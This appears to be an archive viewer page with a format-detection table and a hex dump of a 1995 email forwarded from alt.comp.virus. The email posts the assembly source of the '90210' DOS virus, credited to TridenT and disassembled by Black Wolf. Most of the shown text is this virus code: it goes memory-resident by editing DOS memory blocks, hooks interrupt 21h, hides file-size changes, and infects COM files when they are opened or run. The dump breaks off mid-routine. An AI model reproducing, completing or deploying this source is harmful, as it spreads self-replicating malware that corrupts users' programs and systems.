home *** CD-ROM | disk | FTP | other *** search
open in: 
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox).
You can browse this item here: 90210.ASM
| Confidence | Program | Detection | Match Type | Support
|
|---|
| 100%
| dexvert
| Mailbox/MIME Entity (archive/mbox)
| magic
| Supported |
| 100%
| dexvert
| Internet Message Format (text/imf)
| magic
| Supported |
| 100%
| dexvert
| Assembly Source File (text/asm)
| magic
| Supported |
| 1%
| dexvert
| Text File (text/txt)
| fallback
| Supported |
| 100%
| file
| Mailbox text, 1st line "From smtp Tue Feb 7 13:13 EST 1995", ASCII text
| default
| |
| 100%
| TrID
| E-Mail message (Var. 2)
| default
| |
| 100%
| checkBytes
| Printable ASCII
| default
| |
| 100%
| perlTextCheck
| Likely Text (Perl)
| default
| |
| 100%
| siegfried
| x-fmt/111 Plain Text File
| default
| |
| 100%
| detectItEasy
| Format: plain text[LF]
| default (weak)
| |
| 100%
| xdgMime
| application/mbox
| default
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 73 6d 74 | 70 20 54 75 65 20 46 65 |From smt|p Tue Fe|
|00000010| 62 20 20 37 20 31 33 3a | 31 33 20 45 53 54 20 31 |b 7 13:|13 EST 1|
|00000020| 39 39 35 0a 52 65 63 65 | 69 76 65 64 3a 20 66 72 |995.Rece|ived: fr|
|00000030| 6f 6d 20 6c 79 6e 78 2e | 64 61 63 2e 6e 65 75 2e |om lynx.|dac.neu.|
|00000040| 65 64 75 20 62 79 20 50 | 4f 42 4f 58 2e 6a 77 75 |edu by P|OBOX.jwu|
|00000050| 2e 65 64 75 3b 20 54 75 | 65 2c 20 20 37 20 46 65 |.edu; Tu|e, 7 Fe|
|00000060| 62 20 39 35 20 31 33 3a | 31 33 20 45 53 54 0a 52 |b 95 13:|13 EST.R|
|00000070| 65 63 65 69 76 65 64 3a | 20 62 79 20 6c 79 6e 78 |eceived:| by lynx|
|00000080| 2e 64 61 63 2e 6e 65 75 | 2e 65 64 75 20 28 38 2e |.dac.neu|.edu (8.|
|00000090| 36 2e 39 2f 38 2e 36 2e | 39 29 20 0a 20 20 20 20 |6.9/8.6.|9) . |
|000000a0| 20 69 64 20 4e 41 41 33 | 30 38 32 33 20 66 6f 72 | id NAA3|0823 for|
|000000b0| 20 6a 6f 73 68 75 61 77 | 40 70 6f 62 6f 78 2e 6a | joshuaw|@pobox.j|
|000000c0| 77 75 2e 65 64 75 3b 20 | 54 75 65 2c 20 37 20 46 |wu.edu; |Tue, 7 F|
|000000d0| 65 62 20 31 39 39 35 20 | 31 33 3a 31 36 3a 31 39 |eb 1995 |13:16:19|
|000000e0| 20 2d 30 35 30 30 0a 44 | 61 74 65 3a 20 54 75 65 | -0500.D|ate: Tue|
|000000f0| 2c 20 37 20 46 65 62 20 | 31 39 39 35 20 31 33 3a |, 7 Feb |1995 13:|
|00000100| 31 36 3a 31 39 20 2d 30 | 35 30 30 0a 46 72 6f 6d |16:19 -0|500.From|
|00000110| 3a 20 6c 79 6e 78 2e 64 | 61 63 2e 6e 65 75 2e 65 |: lynx.d|ac.neu.e|
|00000120| 64 75 21 65 6b 69 6c 62 | 79 20 28 45 72 69 63 20 |du!ekilb|y (Eric |
|00000130| 4b 69 6c 62 79 29 0a 43 | 6f 6e 74 65 6e 74 2d 4c |Kilby).C|ontent-L|
|00000140| 65 6e 67 74 68 3a 20 38 | 38 36 36 0a 43 6f 6e 74 |ength: 8|866.Cont|
|00000150| 65 6e 74 2d 54 79 70 65 | 3a 20 74 65 78 74 0a 4d |ent-Type|: text.M|
|00000160| 65 73 73 61 67 65 2d 49 | 64 3a 20 3c 31 39 39 35 |essage-I|d: <1995|
|00000170| 30 32 30 37 31 38 31 36 | 2e 4e 41 41 33 30 38 32 |02071816|.NAA3082|
|00000180| 33 40 6c 79 6e 78 2e 64 | 61 63 2e 6e 65 75 2e 65 |3@lynx.d|ac.neu.e|
|00000190| 64 75 3e 0a 54 6f 3a 20 | 70 6f 62 6f 78 2e 6a 77 |du>.To: |pobox.jw|
|000001a0| 75 2e 65 64 75 21 6a 6f | 73 68 75 61 77 20 0a 53 |u.edu!jo|shuaw .S|
|000001b0| 75 62 6a 65 63 74 3a 20 | 28 66 77 64 29 20 39 30 |ubject: |(fwd) 90|
|000001c0| 32 31 30 0a 4e 65 77 73 | 67 72 6f 75 70 73 3a 20 |210.News|groups: |
|000001d0| 61 6c 74 2e 63 6f 6d 70 | 2e 76 69 72 75 73 0a 53 |alt.comp|.virus.S|
|000001e0| 74 61 74 75 73 3a 20 4f | 0a 0a 50 61 74 68 3a 20 |tatus: O|..Path: |
|000001f0| 63 68 61 6f 73 2e 64 61 | 63 2e 6e 65 75 2e 65 64 |chaos.da|c.neu.ed|
|00000200| 75 21 75 73 65 6e 65 74 | 2e 65 65 6c 2e 75 66 6c |u!usenet|.eel.ufl|
|00000210| 2e 65 64 75 21 75 73 65 | 6e 65 74 2e 63 69 73 2e |.edu!use|net.cis.|
|00000220| 75 66 6c 2e 65 64 75 21 | 63 61 65 6e 21 75 77 6d |ufl.edu!|caen!uwm|
|00000230| 2e 65 64 75 21 6e 65 77 | 73 2e 61 6c 70 68 61 2e |.edu!new|s.alpha.|
|00000240| 6e 65 74 21 73 6f 6c 61 | 72 69 73 2e 63 63 2e 76 |net!sola|ris.cc.v|
|00000250| 74 2e 65 64 75 21 75 75 | 6e 65 74 21 61 6e 6b 68 |t.edu!uu|net!ankh|
|00000260| 2e 69 69 61 2e 6f 72 67 | 21 64 61 6e 69 73 68 6d |.iia.org|!danishm|
|00000270| 0a 46 72 6f 6d 3a 20 64 | 61 6e 69 73 68 6d 40 69 |.From: d|anishm@i|
|00000280| 69 61 2e 6f 72 67 20 28 | 29 0a 4e 65 77 73 67 72 |ia.org (|).Newsgr|
|00000290| 6f 75 70 73 3a 20 61 6c | 74 2e 63 6f 6d 70 2e 76 |oups: al|t.comp.v|
|000002a0| 69 72 75 73 0a 53 75 62 | 6a 65 63 74 3a 20 39 30 |irus.Sub|ject: 90|
|000002b0| 32 31 30 0a 44 61 74 65 | 3a 20 35 20 46 65 62 20 |210.Date|: 5 Feb |
|000002c0| 31 39 39 35 20 32 31 3a | 35 35 3a 30 37 20 47 4d |1995 21:|55:07 GM|
|000002d0| 54 0a 4f 72 67 61 6e 69 | 7a 61 74 69 6f 6e 3a 20 |T.Organi|zation: |
|000002e0| 49 6e 74 65 72 6e 61 74 | 69 6f 6e 61 6c 20 49 6e |Internat|ional In|
|000002f0| 74 65 72 6e 65 74 20 41 | 73 73 6f 63 69 61 74 69 |ternet A|ssociati|
|00000300| 6f 6e 2e 0a 4c 69 6e 65 | 73 3a 20 33 34 35 0a 4d |on..Line|s: 345.M|
|00000310| 65 73 73 61 67 65 2d 49 | 44 3a 20 3c 33 68 33 68 |essage-I|D: <3h3h|
|00000320| 66 72 24 73 62 40 61 6e | 6b 68 2e 69 69 61 2e 6f |fr$sb@an|kh.iia.o|
|00000330| 72 67 3e 0a 4e 4e 54 50 | 2d 50 6f 73 74 69 6e 67 |rg>.NNTP|-Posting|
|00000340| 2d 48 6f 73 74 3a 20 69 | 69 61 2e 6f 72 67 0a 58 |-Host: i|ia.org.X|
|00000350| 2d 4e 65 77 73 72 65 61 | 64 65 72 3a 20 54 49 4e |-Newsrea|der: TIN|
|00000360| 20 5b 76 65 72 73 69 6f | 6e 20 31 2e 32 20 50 4c | [versio|n 1.2 PL|
|00000370| 32 5d 0a 0a 48 65 72 65 | 20 69 73 20 74 68 65 20 |2]..Here| is the |
|00000380| 39 30 32 31 30 20 76 69 | 72 75 73 3a 0a 0a 3b 39 |90210 vi|rus:..;9|
|00000390| 30 32 31 30 20 56 69 72 | 75 73 20 66 72 6f 6d 20 |0210 Vir|us from |
|000003a0| 74 68 65 20 54 72 69 64 | 65 6e 54 20 76 69 72 75 |the Trid|enT viru|
|000003b0| 73 20 72 65 73 65 61 72 | 63 68 20 67 72 6f 75 70 |s resear|ch group|
|000003c0| 2e 0a 0a 3b 54 68 69 73 | 20 69 73 20 61 20 73 65 |...;This| is a se|
|000003d0| 6d 69 2d 73 74 65 61 6c | 74 68 20 76 69 72 75 73 |mi-steal|th virus|
|000003e0| 20 74 68 61 74 20 68 69 | 64 65 73 20 66 69 6c 65 | that hi|des file|
|000003f0| 2d 73 69 7a 65 20 63 68 | 61 6e 67 65 73 20 77 68 |-size ch|anges wh|
|00000400| 69 6c 65 0a 3b 69 74 20 | 69 73 20 69 6e 20 6d 65 |ile.;it |is in me|
|00000410| 6d 6f 72 79 2e 20 20 49 | 74 20 6d 61 72 6b 73 20 |mory. I|t marks |
|00000420| 74 68 65 20 66 69 6c 65 | 73 20 77 2f 74 68 65 20 |the file|s w/the |
|00000430| 74 69 6d 65 73 74 61 6d | 70 2e 20 20 49 74 20 77 |timestam|p. It w|
|00000440| 69 6c 6c 0a 3b 69 6e 66 | 65 63 74 20 43 4f 4d 20 |ill.;inf|ect COM |
|00000450| 66 69 6c 65 73 20 6f 6e | 20 6f 70 65 6e 2c 20 65 |files on| open, e|
|00000460| 78 65 63 75 74 65 2c 20 | 64 65 6c 65 74 65 2c 20 |xecute, |delete, |
|00000470| 61 6e 64 20 72 65 6e 61 | 6d 65 2e 20 20 49 74 20 |and rena|me. It |
|00000480| 63 68 65 63 6b 73 0a 3b | 69 66 20 69 74 20 69 73 |checks.;|if it is|
|00000490| 20 69 6e 20 6d 65 6d 6f | 72 79 20 62 79 20 63 61 | in memo|ry by ca|
|000004a0| 6c 6c 69 6e 67 20 49 6e | 74 20 32 31 68 20 77 69 |lling In|t 21h wi|
|000004b0| 74 68 20 44 45 41 44 68 | 20 69 6e 20 41 58 20 61 |th DEADh| in AX a|
|000004c0| 6e 64 20 75 73 65 73 20 | 4d 43 42 27 73 0a 3b 74 |nd uses |MCB's.;t|
|000004d0| 6f 20 67 6f 20 6d 65 6d | 6f 72 79 20 72 65 73 69 |o go mem|ory resi|
|000004e0| 64 65 6e 74 2e 0a 0a 3b | 44 69 73 61 73 73 65 6d |dent...;|Disassem|
|000004f0| 62 6c 79 20 62 79 20 42 | 6c 61 63 6b 20 57 6f 6c |bly by B|lack Wol|
|00000500| 66 0a 0a 2e 6d 6f 64 65 | 6c 20 74 69 6e 79 20 20 |f...mode|l tiny |
|00000510| 0a 2e 63 6f 64 65 0a 0a | 09 09 6f 72 67 20 20 20 |..code..|..org |
|00000520| 20 20 31 30 30 68 0a 20 | 20 0a 73 74 61 72 74 3a | 100h. | .start:|
|00000530| 0a 09 09 70 75 73 68 20 | 20 20 20 61 78 0a 09 09 |...push | ax...|
|00000540| 63 61 6c 6c 20 20 20 20 | 47 65 74 4f 66 66 73 65 |call |GetOffse|
|00000550| 74 0a 0a 47 65 74 4f 66 | 66 73 65 74 3a 0a 09 09 |t..GetOf|fset:...|
|00000560| 70 6f 70 20 20 20 20 20 | 62 70 0a 09 09 73 75 62 |pop |bp...sub|
|00000570| 20 20 20 20 20 62 70 2c | 6f 66 66 73 65 74 20 47 | bp,|offset G|
|00000580| 65 74 4f 66 66 73 65 74 | 2d 73 74 61 72 74 0a 0a |etOffset|-start..|
|00000590| 09 09 6d 6f 76 20 20 20 | 20 20 61 78 2c 30 44 45 |..mov | ax,0DE|
|000005a0| 41 44 68 0a 09 09 69 6e | 74 20 20 20 20 20 32 31 |ADh...in|t 21|
|000005b0| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|000005c0| 20 20 20 20 20 20 3b 41 | 72 65 20 77 65 20 69 6e | ;A|re we in|
|000005d0| 73 74 61 6c 6c 65 64 3f | 0a 09 09 63 6d 70 20 20 |stalled?|...cmp |
|000005e0| 20 20 20 61 78 2c 30 41 | 41 41 41 68 20 0a 09 09 | ax,0A|AAAh ...|
|000005f0| 6a 65 20 20 20 20 20 20 | 44 6f 6e 65 49 6e 73 74 |je |DoneInst|
|00000600| 61 6c 6c 0a 0a 09 09 6d | 6f 76 20 20 20 20 20 61 |all....m|ov a|
|00000610| 78 2c 33 35 32 31 68 0a | 09 09 69 6e 74 20 20 20 |x,3521h.|..int |
|00000620| 20 20 32 31 68 20 20 20 | 20 20 20 20 20 20 20 20 | 21h | |
|00000630| 20 20 20 20 20 20 20 20 | 20 20 3b 47 65 74 20 69 | | ;Get i|
|00000640| 6e 74 20 32 31 20 61 64 | 64 72 65 73 73 0a 09 09 |nt 21 ad|dress...|
|00000650| 09 20 20 20 0a 20 20 20 | 20 64 62 20 20 20 20 20 |. . | db |
|00000660| 20 32 65 68 2c 20 38 39 | 68 2c 39 65 68 2c 37 37 | 2eh, 89|h,9eh,77|
|00000670| 68 2c 30 68 20 20 20 20 | 20 3b 6d 6f 76 20 63 73 |h,0h | ;mov cs|
|00000680| 3a 5b 4f 6c 64 49 6e 74 | 32 31 2d 73 74 61 72 74 |:[OldInt|21-start|
|00000690| 2b 62 70 5d 2c 62 78 0a | 20 20 20 20 64 62 20 20 |+bp],bx.| db |
|000006a0| 20 20 20 20 32 65 68 2c | 20 38 63 68 2c 20 38 36 | 2eh,| 8ch, 86|
|000006b0| 68 2c 20 37 39 68 2c 20 | 30 20 20 20 3b 6d 6f 76 |h, 79h, |0 ;mov|
|000006c0| 20 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 4f 6c | word pt|r cs:[Ol|
|000006d0| 64 49 6e 74 32 31 2d 73 | 74 61 72 74 2b 32 2b 62 |dInt21-s|tart+2+b|
|000006e0| 70 5d 2c 65 73 0a 0a 09 | 09 6d 6f 76 20 20 20 20 |p],es...|.mov |
|000006f0| 20 61 78 2c 63 73 0a 09 | 09 64 65 63 20 20 20 20 | ax,cs..|.dec |
|00000700| 20 61 78 0a 09 09 6d 6f | 76 20 20 20 20 20 64 73 | ax...mo|v ds|
|00000710| 2c 61 78 0a 09 09 63 6d | 70 20 20 20 20 20 62 79 |,ax...cm|p by|
|00000720| 74 65 20 70 74 72 20 64 | 73 3a 5b 30 5d 2c 27 5a |te ptr d|s:[0],'Z|
|00000730| 27 0a 09 09 6a 6e 65 20 | 20 20 20 20 44 6f 6e 65 |'...jne | Done|
|00000740| 49 6e 73 74 61 6c 6c 20 | 20 20 20 20 20 20 20 20 |Install | |
|00000750| 3b 41 72 65 20 77 65 20 | 74 68 65 20 6c 61 73 74 |;Are we |the last|
|00000760| 20 62 6c 6f 63 6b 20 69 | 6e 20 63 68 61 69 6e 3f | block i|n chain?|
|00000770| 0a 09 09 0a 09 09 6d 6f | 76 20 20 20 20 20 61 78 |......mo|v ax|
|00000780| 2c 64 73 3a 5b 33 5d 20 | 20 20 20 20 20 20 20 20 |,ds:[3] | |
|00000790| 20 20 20 20 20 20 3b 47 | 65 74 20 4d 43 42 20 73 | ;G|et MCB s|
|000007a0| 69 7a 65 0a 09 09 73 75 | 62 20 20 20 20 20 61 78 |ize...su|b ax|
|000007b0| 2c 33 38 68 20 20 20 20 | 20 20 20 20 20 20 20 20 |,38h | |
|000007c0| 20 20 20 20 20 20 3b 73 | 75 62 74 72 61 63 74 20 | ;s|ubtract |
|000007d0| 76 69 72 75 73 20 6d 65 | 6d 6f 72 79 20 73 69 7a |virus me|mory siz|
|000007e0| 65 0a 09 09 6a 63 20 20 | 20 20 20 20 44 6f 6e 65 |e...jc | Done|
|000007f0| 49 6e 73 74 61 6c 6c 20 | 20 20 20 20 20 20 20 20 |Install | |
|00000800| 20 20 20 20 3b 65 78 69 | 74 20 69 66 20 76 69 72 | ;exi|t if vir|
|00000810| 75 73 20 3e 20 4d 43 42 | 0a 0a 09 09 6d 6f 76 20 |us > MCB|....mov |
|00000820| 20 20 20 20 64 73 3a 5b | 33 5d 2c 61 78 20 20 20 | ds:[|3],ax |
|00000830| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 53 65 74 | | ;Set|
|00000840| 20 4d 43 42 20 73 69 7a | 65 0a 09 09 3b 73 75 62 | MCB siz|e...;sub|
|00000850| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 64 73 | wor|d ptr ds|
|00000860| 3a 5b 31 32 68 5d 2c 33 | 38 68 20 20 3b 53 75 62 |:[12h],3|8h ;Sub|
|00000870| 74 72 61 63 74 20 76 69 | 72 75 73 20 6d 65 6d 20 |tract vi|rus mem |
|00000880| 66 72 6f 6d 20 0a 09 09 | 64 62 20 20 20 20 20 20 |from ...|db |
|00000890| 38 31 68 2c 32 65 68 2c | 31 32 68 2c 30 2c 33 38 |81h,2eh,|12h,0,38|
|000008a0| 68 2c 30 20 20 20 20 20 | 3b 74 6f 70 20 6f 66 20 |h,0 |;top of |
|000008b0| 6d 65 6d 6f 72 79 20 69 | 6e 20 50 53 50 0a 09 09 |memory i|n PSP...|
|000008c0| 0a 09 09 6d 6f 76 20 20 | 20 20 20 73 69 2c 62 70 |...mov | si,bp|
|000008d0| 0a 09 09 6d 6f 76 20 20 | 20 20 20 64 69 2c 30 0a |...mov | di,0.|
|000008e0| 09 09 6d 6f 76 20 20 20 | 20 20 65 73 2c 64 73 3a |..mov | es,ds:|
|000008f0| 5b 31 32 68 5d 20 20 20 | 20 20 20 20 20 20 20 20 |[12h] | |
|00000900| 20 20 3b 47 65 74 20 74 | 6f 70 20 6f 66 20 6d 65 | ;Get t|op of me|
|00000910| 6d 6f 72 79 20 66 72 6f | 6d 20 50 53 50 0a 09 09 |mory fro|m PSP...|
|00000920| 70 75 73 68 20 20 20 20 | 63 73 0a 09 09 70 6f 70 |push |cs...pop|
|00000930| 20 20 20 20 20 64 73 0a | 09 09 6d 6f 76 20 20 20 | ds.|..mov |
|00000940| 20 20 63 78 2c 32 38 37 | 68 0a 09 09 63 6c 64 20 | cx,287|h...cld |
|00000950| 20 20 20 20 20 20 20 20 | 20 0a 09 09 72 65 70 20 | | ...rep |
|00000960| 20 20 20 20 6d 6f 76 73 | 62 20 20 20 20 20 20 20 | movs|b |
|00000970| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 43 6f 70 | | ;Cop|
|00000980| 79 20 76 69 72 75 73 20 | 69 6e 74 6f 20 6d 65 6d |y virus |into mem|
|00000990| 6f 72 79 0a 09 09 0a 09 | 09 6d 6f 76 20 20 20 20 |ory.....|.mov |
|000009a0| 20 61 78 2c 32 35 32 31 | 68 20 20 20 20 20 20 20 | ax,2521|h |
|000009b0| 20 0a 09 09 70 75 73 68 | 20 20 20 20 65 73 0a 09 | ...push| es..|
|000009c0| 09 70 6f 70 20 20 20 20 | 20 64 73 0a 09 09 6d 6f |.pop | ds...mo|
|000009d0| 76 20 20 20 20 20 64 78 | 2c 6f 66 66 73 65 74 20 |v dx|,offset |
|000009e0| 49 6e 74 32 31 48 61 6e | 64 6c 65 72 2d 73 74 61 |Int21Han|dler-sta|
|000009f0| 72 74 0a 09 09 69 6e 74 | 20 20 20 20 20 32 31 68 |rt...int| 21h|
|00000a00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000a10| 20 20 20 20 20 3b 53 65 | 74 20 69 6e 74 20 32 31 | ;Se|t int 21|
|00000a20| 68 0a 09 09 09 20 20 20 | 0a 44 6f 6e 65 49 6e 73 |h.... |.DoneIns|
|00000a30| 74 61 6c 6c 3a 0a 09 09 | 6d 6f 76 20 20 20 20 20 |tall:...|mov |
|00000a40| 64 69 2c 31 30 30 68 0a | 09 09 6c 65 61 20 20 20 |di,100h.|..lea |
|00000a50| 20 20 73 69 2c 5b 62 70 | 2b 53 74 6f 72 61 67 65 | si,[bp|+Storage|
|00000a60| 5f 42 79 74 65 73 2d 73 | 74 61 72 74 5d 0a 09 09 |_Bytes-s|tart]...|
|00000a70| 70 75 73 68 20 20 20 20 | 63 73 0a 09 09 70 75 73 |push |cs...pus|
|00000a80| 68 20 20 20 20 63 73 0a | 09 09 70 6f 70 20 20 20 |h cs.|..pop |
|00000a90| 20 20 64 73 0a 09 09 70 | 6f 70 20 20 20 20 20 65 | ds...p|op e|
|00000aa0| 73 0a 09 09 63 6c 64 20 | 0a 09 09 6d 6f 76 73 77 |s...cld |...movsw|
|00000ab0| 0a 09 09 6d 6f 76 73 62 | 20 20 20 20 20 20 20 20 |...movsb| |
|00000ac0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000ad0| 20 20 20 3b 52 65 73 74 | 6f 72 65 20 48 6f 73 74 | ;Rest|ore Host|
|00000ae0| 20 66 69 6c 65 2e 0a 09 | 09 6d 6f 76 20 20 20 20 | file...|.mov |
|00000af0| 20 62 78 2c 6f 66 66 73 | 65 74 20 73 74 61 72 74 | bx,offs|et start|
|00000b00| 0a 09 09 70 6f 70 20 20 | 20 20 20 61 78 0a 09 09 |...pop | ax...|
|00000b10| 70 75 73 68 20 20 20 20 | 62 78 0a 09 09 72 65 74 |push |bx...ret|
|00000b20| 6e 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |n | |
|00000b30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 52 65 | | ;Re|
|00000b40| 74 75 72 6e 20 74 6f 20 | 48 6f 73 74 0a 0a 20 20 |turn to |Host.. |
|00000b50| 0a 56 69 72 75 73 4e 61 | 6d 65 20 20 20 20 20 20 |.VirusNa|me |
|00000b60| 20 64 62 20 20 20 20 20 | 20 27 5b 39 30 32 31 30 | db | '[90210|
|00000b70| 20 42 48 5d 27 0a 09 09 | 0a 4f 6c 64 49 6e 74 32 | BH]'...|.OldInt2|
|00000b80| 31 3a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1: | |
|00000b90| 20 20 0a 09 09 64 77 20 | 20 20 20 20 20 30 20 20 | ...dw | 0 |
|00000ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 0a 09 | | ..|
|00000bb0| 09 64 77 20 20 20 20 20 | 20 30 0a 09 09 0a 49 6e |.dw | 0....In|
|00000bc0| 74 32 31 48 61 6e 64 6c | 65 72 3a 0a 09 09 63 6d |t21Handl|er:...cm|
|00000bd0| 70 20 20 20 20 20 61 78 | 2c 30 44 45 41 44 68 20 |p ax|,0DEADh |
|00000be0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 49 | | ;I|
|00000bf0| 6e 73 74 61 6c 6c 20 43 | 68 65 63 6b 3f 0a 09 09 |nstall C|heck?...|
|00000c00| 6a 6e 65 20 20 20 20 20 | 4e 6f 74 49 6e 73 74 61 |jne |NotInsta|
|00000c10| 6c 6c 20 20 20 0a 09 09 | 6d 6f 76 20 20 20 20 20 |ll ...|mov |
|00000c20| 61 78 2c 30 41 41 41 41 | 68 0a 09 09 69 72 65 74 |ax,0AAAA|h...iret|
|00000c30| 20 0a 4e 6f 74 49 6e 73 | 74 61 6c 6c 3a 0a 0a 09 | .NotIns|tall:...|
|00000c40| 09 63 6d 70 20 20 20 20 | 20 61 68 2c 31 31 68 20 |.cmp | ah,11h |
|00000c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000c60| 20 3b 46 43 42 20 66 69 | 6e 64 20 66 69 72 73 74 | ;FCB fi|nd first|
|00000c70| 0a 09 09 6a 65 20 20 20 | 20 20 20 46 43 42 53 65 |...je | FCBSe|
|00000c80| 61 72 63 68 0a 09 09 63 | 6d 70 20 20 20 20 20 61 |arch...c|mp a|
|00000c90| 68 2c 31 32 68 20 20 20 | 20 20 20 20 20 20 20 20 |h,12h | |
|00000ca0| 20 20 20 20 20 20 20 3b | 46 43 42 20 66 69 6e 64 | ;|FCB find|
|00000cb0| 20 6e 65 78 74 0a 09 09 | 6a 65 20 20 20 20 20 20 | next...|je |
|00000cc0| 46 43 42 53 65 61 72 63 | 68 0a 09 09 63 6d 70 20 |FCBSearc|h...cmp |
|00000cd0| 20 20 20 20 61 68 2c 34 | 45 68 20 20 20 20 20 20 | ah,4|Eh |
|00000ce0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 68 61 6e | | ;han|
|00000cf0| 64 6c 65 20 66 69 6e 64 | 20 66 69 72 73 74 0a 09 |dle find| first..|
|00000d00| 09 6a 65 20 20 20 20 20 | 20 48 61 6e 64 6c 65 53 |.je | HandleS|
|00000d10| 65 61 72 63 68 0a 09 09 | 63 6d 70 20 20 20 20 20 |earch...|cmp |
|00000d20| 61 68 2c 34 46 68 20 20 | 20 20 20 20 20 20 20 20 |ah,4Fh | |
|00000d30| 20 20 20 20 20 20 20 20 | 3b 68 61 6e 64 6c 65 20 | |;handle |
|00000d40| 66 69 6e 64 20 6e 65 78 | 74 0a 09 09 6a 65 20 20 |find nex|t...je |
|00000d50| 20 20 20 20 48 61 6e 64 | 6c 65 53 65 61 72 63 68 | Hand|leSearch|
|00000d60| 0a 09 09 0a 09 09 70 75 | 73 68 20 20 20 20 61 78 |......pu|sh ax|
|00000d70| 20 62 78 20 63 78 20 64 | 78 20 73 69 20 64 69 20 | bx cx d|x si di |
|00000d80| 62 70 20 64 73 20 65 73 | 0a 0a 09 09 63 6d 70 20 |bp ds es|....cmp |
|00000d90| 20 20 20 20 61 68 2c 33 | 44 68 20 20 20 20 20 20 | ah,3|Dh |
|00000da0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 68 61 6e | | ;han|
|00000db0| 64 6c 65 20 66 69 6c 65 | 20 6f 70 65 6e 0a 09 09 |dle file| open...|
|00000dc0| 6a 65 20 20 20 20 20 20 | 53 65 74 75 70 4e 61 6d |je |SetupNam|
|00000dd0| 65 43 68 65 63 6b 0a 09 | 09 63 6d 70 20 20 20 20 |eCheck..|.cmp |
|00000de0| 20 61 78 2c 34 42 30 30 | 68 20 20 20 20 20 20 20 | ax,4B00|h |
|00000df0| 20 20 20 20 20 20 20 20 | 20 3b 66 69 6c 65 20 65 | | ;file e|
|00000e00| 78 65 63 75 74 65 0a 09 | 09 6a 65 20 20 20 20 20 |xecute..|.je |
|00000e10| 20 53 65 74 75 70 4e 61 | 6d 65 43 68 65 63 6b 0a | SetupNa|meCheck.|
|00000e20| 09 09 63 6d 70 20 20 20 | 20 20 61 68 2c 34 31 68 |..cmp | ah,41h|
|00000e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000e40| 20 20 3b 68 61 6e 64 6c | 65 20 66 69 6c 65 20 64 | ;handl|e file d|
|00000e50| 65 6c 65 74 65 0a 09 09 | 6a 65 20 20 20 20 20 20 |elete...|je |
|00000e60| 53 65 74 75 70 4e 61 6d | 65 43 68 65 63 6b 0a 09 |SetupNam|eCheck..|
|00000e70| 09 63 6d 70 20 20 20 20 | 20 61 68 2c 34 33 68 20 |.cmp | ah,43h |
|00000e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000e90| 20 3b 67 65 74 2f 73 65 | 74 20 61 74 74 72 69 62 | ;get/se|t attrib|
|00000ea0| 75 74 65 73 0a 09 09 6a | 65 20 20 20 20 20 20 53 |utes...j|e S|
|00000eb0| 65 74 75 70 4e 61 6d 65 | 43 68 65 63 6b 0a 09 09 |etupName|Check...|
|00000ec0| 63 6d 70 20 20 20 20 20 | 61 68 2c 35 36 68 20 20 |cmp |ah,56h |
|00000ed0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000ee0| 3b 72 65 6e 61 6d 65 20 | 66 69 6c 65 0a 09 09 6a |;rename |file...j|
|00000ef0| 65 20 20 20 20 20 20 53 | 65 74 75 70 4e 61 6d 65 |e S|etupName|
|00000f00| 43 68 65 63 6b 0a 09 09 | 0a 09 09 63 6d 70 20 20 |Check...|...cmp |
|00000f10| 20 20 20 61 68 2c 30 46 | 68 20 20 20 20 20 20 20 | ah,0F|h |
|00000f20| 20 20 20 20 20 20 20 20 | 20 20 20 3b 4f 70 65 6e | | ;Open|
|00000f30| 20 66 69 6c 65 20 77 2f | 46 43 42 0a 09 09 6a 65 | file w/|FCB...je|
|00000f40| 20 20 20 20 20 20 54 72 | 79 54 6f 49 6e 66 65 63 | Tr|yToInfec|
|00000f50| 74 0a 09 09 63 6d 70 20 | 20 20 20 20 61 68 2c 32 |t...cmp | ah,2|
|00000f60| 33 68 0a 09 09 6a 65 20 | 20 20 20 20 20 54 72 79 |3h...je | Try|
|00000f70| 54 6f 49 6e 66 65 63 74 | 20 20 20 20 20 20 20 20 |ToInfect| |
|00000f80| 20 20 20 20 20 3b 47 65 | 74 20 66 69 6c 65 20 73 | ;Ge|t file s|
|00000f90| 69 7a 65 0a 09 09 6a 6d | 70 20 20 20 20 20 45 78 |ize...jm|p Ex|
|00000fa0| 69 74 49 6e 66 65 63 74 | 0a 09 09 0a 46 43 42 53 |itInfect|....FCBS|
|00000fb0| 65 61 72 63 68 3a 0a 09 | 09 6a 6d 70 20 20 20 20 |earch:..|.jmp |
|00000fc0| 20 46 43 42 53 74 65 61 | 6c 74 68 0a 48 61 6e 64 | FCBStea|lth.Hand|
|00000fd0| 6c 65 53 65 61 72 63 68 | 3a 0a 09 09 6a 6d 70 20 |leSearch|:...jmp |
|00000fe0| 20 20 20 20 48 61 6e 64 | 6c 65 53 74 65 61 6c 74 | Hand|leStealt|
|00000ff0| 68 0a 0a 54 72 79 54 6f | 49 6e 66 65 63 74 3a 0a |h..TryTo|Infect:.|
|00001000| 09 09 64 62 20 20 20 20 | 20 20 38 39 68 2c 30 64 |..db | 89h,0d|
|00001010| 36 68 20 20 20 20 20 20 | 20 20 20 3b 6d 6f 76 20 |6h | ;mov |
|00001020| 20 20 20 20 73 69 2c 64 | 78 0a 0a 09 09 69 6e 63 | si,d|x....inc|
|00001030| 20 20 20 20 20 73 69 0a | 09 09 70 75 73 68 20 20 | si.|..push |
